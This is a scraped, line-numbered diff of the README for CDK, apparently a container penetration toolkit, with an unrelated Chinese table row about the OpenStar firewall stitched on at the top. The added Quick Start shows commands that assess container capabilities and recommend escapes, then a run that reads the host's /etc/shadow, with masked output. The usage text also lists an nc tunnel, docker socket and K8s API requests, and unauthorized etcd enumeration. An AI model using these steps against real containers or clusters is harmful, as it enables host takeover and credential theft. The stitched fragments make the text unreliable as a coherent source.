|2|[**OpenStar**](detail/OpenStar.md)|starjun|OpenStar 是一个基于 OpenResty 的高性能 Web 应用防火墙，支持复杂规则编写。提供了常规的 HTTP 字段规则配置，还提供了 IP 黑白名单、访问频次等配置，对于 CC 防护更提供的特定的规则算法，并且支持搭建集群进行防护。|1084|
CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.
24
24
25
+
## Quick Start
26
+
27
+
Run **`cdk eva`** to get evaluate info and a recommend exploit, then run **`cdk run`** to start the attack.
28
+
29
+
```
30
+
> ./cdk eva --full
31
+
32
+
[*] Maybe you can exploit the *Capabilities* below:
33
+
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
34
+
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
35
+
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
36
+
Critical - Possible Privileged Container Found.
37
+
38
+
> ./cdk run cap-dac-read-search
39
+
40
+
Running with target: /etc/shadow, ref: /etc/hostname
41
+
ubuntu:$6$*******:19173:0:99999:7:::
42
+
root:*:18659:0:99999:7:::
43
+
daemon:*:18659:0:99999:7:::
44
+
bin:*:18659:0:99999:7:::
45
+
```
46
+
25
47
## Installation/Delivery
26
48
27
49
Download latest release in https://github.com/cdk-team/CDK/releases/
skipped 23 lines
51
73
Usage:
52
74
cdk evaluate [--full]
53
75
cdk run (--list | <exploit> [<args>...])
54
-
cdk auto-escape <cmd>
55
76
cdk <tool> [<args>...]
56
77
57
78
Evaluate:
skipped 13 lines
71
92
nc [options] Create TCP tunnel.
72
93
ifconfig Show network information.
73
94
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
95
+
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
74
96
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
If you want to know how we released a new version, how thin is produced, why we provide upx versions, what the differences between different versions about all, normal, thin, upx are, and how to choose specific CDK exploits and tools to compile an own release for yourself, please check the [Release Document](https://github.com/cdk-team/CDK/wiki/Release).
180
-
181
-
## Developer Docs
182
-
183
-
* [run test in container.](https://github.com/cdk-team/CDK/wiki/Run-Test)
184
-
185
-
## Contributing to CDK
186
-
187
-
First off, thanks for taking the time to contribute!
188
-
189
-
By reporting any issue, ideas or PRs, your GitHub ID will be listed here.
Bugs are tracked as [GitHub Issues](https://github.com/cdk-team/CDK/issues). Create an issue with the current CDK version, error msg and the environment. Describe the exact steps which reproduce the problem.
196
-
197
-
#### Suggesting Enhancements
198
-
199
-
Enhancement suggestions are tracked as [GitHub Discussions](https://github.com/cdk-team/CDK/discussions). You can publish any thoughts here to discuss with developers directly.
200
-
201
-
#### Pull Requests
202
-
203
-
Fix problems or maintain CDK's quality:
204
-
205
-
* Describe the current CDK version, environment, problem and exact steps that reproduce the problem.
206
-
* Running screenshots or logs before and after you fix the problem.
207
-
208
-
New feature or exploits:
209
-
210
-
* Explain why this enhancement would be useful to other users.
211
-
* Please enable a sustainable environment for us to review contributions.
212
-
* Screenshots about how this new feature works.
213
-
* If you are committing a new evaluate/exploit scripts, please add a simple doc to your PR message, here is an [example](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-deploy).
